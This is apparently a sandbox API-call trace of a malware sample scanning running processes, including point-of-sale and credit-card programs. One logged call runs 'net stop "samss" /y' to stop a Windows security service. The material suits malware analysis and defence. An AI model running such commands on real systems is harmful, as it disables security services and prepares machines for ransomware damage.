	[0244.020] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0244.022] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0244.024] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0244.027] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0244.029] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0244.031] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0244.033] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0244.035] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0244.037] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0244.039] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0244.041] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0244.043] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0244.045] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0244.048] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0244.050] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0244.052] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0244.054] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0244.056] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0244.180] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0244.183] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0244.184] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0244.186] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0244.188] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0244.190] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0244.192] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0244.194] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0244.196] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0244.199] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0244.201] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0244.203] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xaf, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0244.205] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0244.207] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0244.209] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0244.211] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.341] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0244.343] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0244.345] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0244.347] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0244.349] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0244.351] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.353] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.354] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0244.356] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0244.358] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.360] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.361] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0244.363] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0244.364] CloseHandle (hObject=0x338) returned 1
	[0244.364] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424490
	[0244.365] EnumServicesStatusW (in: hSCManager=0x424490, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 0
	[0244.365] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0244.366] EnumServicesStatusW (in: hSCManager=0x424490, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x1710, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 1
	[0244.368] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0246.563] Sleep (dwMilliseconds=0x96) 
	[0247.223] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.225] Sleep (dwMilliseconds=0xc350) 
	[0257.799] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x6bc
	[0258.003] Process32FirstW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0258.005] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0258.007] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0258.009] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.011] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0258.013] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.015] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0258.017] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0258.019] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0258.021] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0258.023] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.024] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.026] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.028] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.030] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.032] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.478] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.480] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0258.482] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0258.483] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0258.485] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0258.487] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.489] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.490] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0258.492] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.494] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0258.495] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0258.497] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0258.499] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0258.500] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
